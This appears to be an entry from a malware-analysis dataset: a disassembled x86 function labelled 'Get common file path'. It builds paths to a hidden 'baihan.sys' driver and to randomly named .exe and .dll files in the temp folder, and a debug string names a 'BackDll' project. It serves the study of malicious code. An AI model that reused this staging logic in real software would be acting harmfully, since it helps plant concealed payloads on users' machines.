Function at 0x401060
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20
xor eax, eax
push ebx
push ebp
mov ebp, ecx
push esi
push edi
lea ecx, [ebp + 0xac]
mov dword [ebp], 0x405230
mov dword [ebp + 0xa4], 0x14
mov dword [ebp + 0xa8], 0
mov dword [ecx], eax
lea ebx, [ebp + 0xb4]
mov edi, ebx
mov dword [ecx + 4], eax
mov ecx, 0x41
rep stosd dword es:[edi], eax
lea edi, [ebp + 0x1b8]
mov ecx, 0x41
rep stosd dword es:[edi], eax
lea edi, [ebp + 0x5c8]
mov ecx, 0x41
rep stosd dword es:[edi], eax
call fcn.00402d40
mov edi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea esi, [ebp + 4]
push esi
mov dword [ebp + 0xa0], eax
mov dword [esi], 0x9c
call edi
test eax, eax
jne 0x4010fe
push esi
mov dword [esi], 0x94
call edi
test eax, eax
jne 0x4010fe
push str.D:WorkHPServiceShangHaiBackDllBackDllApp.cpp
push 0x30
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00402d00
add esp, 0xc
lea esi, [ebp + 0x2bc]
mov ecx, 0x41
xor eax, eax
mov edi, esi
push 0x103
push esi
rep stosd dword es:[edi], eax
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll__mbsrchr]
add esp, 8
test eax, eax
je 0x401130
mov byte [eax + 1], 0
mov ecx, 0x41
xor eax, eax
mov edi, ebx
push 0x103
rep stosd dword es:[edi], eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x401189
cmp byte [ecx + ebp + 0xb3], 0x5c
je 0x401189
mov edi, 0x4060a4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ebx, [ebp + 0x3c0]
mov ecx, 0x41
xor eax, eax
mov edi, ebx
push 0x103
push ebx
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
or ecx, 0xffffffff
mov edi, str.Drivers_
xor eax, eax
push ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, ebx
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.baihan
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..sys
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll__mbslwr]
add esp, 4
lea ebx, [ebp + 0x1b8]
push ebx
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x40128c
push str.D:WorkHPServiceShangHaiBackDllBackDllApp.cpp
push 0x54
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00402d00
add esp, 0xc
test eax, eax
je 0x40128c
push str.D:WorkHPServiceShangHaiBackDllBackDllApp.cpp
push 0x59
push eax
call fcn.00402d00
mov edi, str.C:Windows_
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4012ce
cmp byte [ecx + ebp + 0x1b7], 0x5c
je 0x4012ce
mov edi, 0x4060a4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ebx
push str.TempPath_s
call fcn.00402cf0
push 0
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x21]
mov byte [esp + 0x20], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x20]
push 0x20
push eax
push 6
call section..text
or ecx, 0xffffffff
lea edi, [ebp + 0xb4]
xor eax, eax
lea edx, [ebp + 0x4c4]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x20
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x30]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x30]
push ecx
push 6
call section..text
lea edi, [ebp + 0xb4]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x28
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
lea edx, [ebp + 0x5c8]
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x10]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..dll
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, ebp
call fcn.00401650
test eax, eax
je 0x40142b
push str.D:WorkHPServiceShangHaiBackDllBackDllApp.cpp
push 0x77
push eax
call fcn.00402d00
add esp, 0xc
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x20
ret